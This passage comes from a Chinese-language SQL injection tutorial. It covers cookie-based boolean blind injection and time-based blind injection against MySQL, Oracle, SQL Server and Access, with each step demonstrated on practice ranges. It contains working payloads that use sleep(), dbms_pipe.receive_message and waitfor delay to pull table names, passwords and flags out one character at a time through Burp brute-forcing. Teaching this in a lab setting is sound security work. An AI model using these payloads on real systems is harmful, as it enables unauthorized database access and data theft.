document.cookie="id="+escape("105 and (SELECT Asc(Mid(password,n,1)) FROM admin) = x")
//n为1——16位的数据,x代表每一位数据对应的ascll码值
脚本设置如下:
最后跑出数据b9a2a2b5dffb918c。
这里对其进行联合注入测试,看数据是否为b9a2a2b5dffb918c
4.时间盲注(仅需要用户传参可以带入数据库即可)
联合、报错和布尔盲注都需要页面有一定的回显才能完成,但是时间盲注完全不需要页面拥有回显,所以说时间盲注是终极必杀技也不为错,只不过在sql注入时,联合查询和报错所需语句最少,所以测试顺序为联合——报错——布尔盲注——时间盲注。
其原理和布尔盲注差不多,唯一的区别是布尔需要页面根据输入的不同传参在页面上拥有不同显示,但是有些时候页面上无法不为所动,而数据却能传入数据库,这时就需要用到时间盲注了。时间盲注是通过if语句让数据库执行sleep()或能够使数据库停滞的函数,从而根据页面的响应速度来判断执行语句是否正确。
时间盲注需要用到的函数:
1,ascii(字符):测内容编码
2,if(判断语句,正确执行语句,错误执行语句)
3,sleep(数字):响应对应秒数再返回数据包
1.mysql时间盲注
首先判断是否存在注入
?id=1') and sleep(5) -- qwe
睡眠了5秒,说明存在注入。
判断闭合
闭合为" ') "。
判断数据库类型
类型为mysql。
判断注入方式
这里使用union select 1,2,3和报错函数updatexml都没有回显,并且布尔注入也无法看出语句执行是否成功,所以使用时间盲注。
获取表名
这里表长就不再举例了,直接爆破表名,而且因为可以使用table_schema=database()来排除干扰项的缘故,其实库名也并非必须获取,所以不爆破库名了。
1') and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),n,1)='x'),sleep(5),1) -- qwe
//这里n为表的第几位,x是对应的字母
这里还需要将burp的跑包模块的Response completed模块勾选上,否则不会显示接受数据包等待时间。
最后表名loflag。
获取列名
和获取表名一样,不写了。
获取数据
判断数据长度这里直接略过,其余和上面有一点不一样,因为数据中拥有特殊字符,需要使用ascll()函数。
1') and if(ascii(substr((select flaglo from loflag limit 3,1),n,1))=x,sleep(5),1) -- qwe
爆破n和x即可。
最后跑出数据zKaQ-time-hj。
2.oracle时间盲注
oracle中没有sleep()函数,这里介绍一个函数
dbms_pipe.receive_message('管道名', 延迟秒数):
1 or dbms_pipe.receive_message('dummy_pipe', 5) = 0
当设置延迟5时,这个语句可以使数据库暂停10s,这里在本地靶场进行演示:
可以看到延时了10s。
case when (表达式) then 成功执行操作 else 失败执行操作 end
又因为oracle中没有if,所以这里使用case when来代替if
select * from dr$dbo
where 1=1
and case
when (select ascii_value
from (
select ascii(substr(table_name,1,1)) as ascii_value,
rownum n
from user_tables
)
where n = 1
) > 0
then dbms_pipe.receive_message('x',5)
else 1
end = 1;
使用这个语句,可以使oracle数据库对user_tables表中的table_name字段第一个数据的第一个值进行判断,如果其ascii码值大于0,就使其停滞10s。
这里可进行爆破的点我进行了标注
第一个红点用于判断table_name其它位上的值,第二个红点用于指定第几条表名,第三个红点用于爆破table_name上的值转化成axcii后的值。
判断列名就是将table_name替换成column_name,并将后面的user_tables表替换,判断数据也是如此。
3.sql server时间盲注
waitfor delay()函数:
这个函数的用法是在后面加入时间格式的字符串,如'00:00:10'。
1 if (select db_name()) = 'master' waitfor delay '0:1:5'
这个语句的意思是,如果当前数据库为master,那么就执行waitfor delay '0:1:5',这里的if没有失败执行。
可以看到确实执行了1分钟05秒。
如果想要进行爆破,这里给出语句:
select * from sysobjects where 1=1 if ascii(substring((select top 1 name from sysobjects),n,1)) = x waitfor delay '0:0:30'
其中的n代表name字段的第几位,x表示这个第几位的ascii是多少,使用burp进行跑包即可,如果看不懂需要看看我前面写的sql server的联合注入。
在本地使用语句进行测试:
后面的判断列名和判断数据只需对name字段和sysobjects表进行替换即可,具体可看sql server联合注入。
4.access时间盲注
access里面没有sleep()函数,需要使用VBA编写自定义函数或者利用数据库的事务处理机制来实现延时,过于复杂,不建议对access使用延时注入。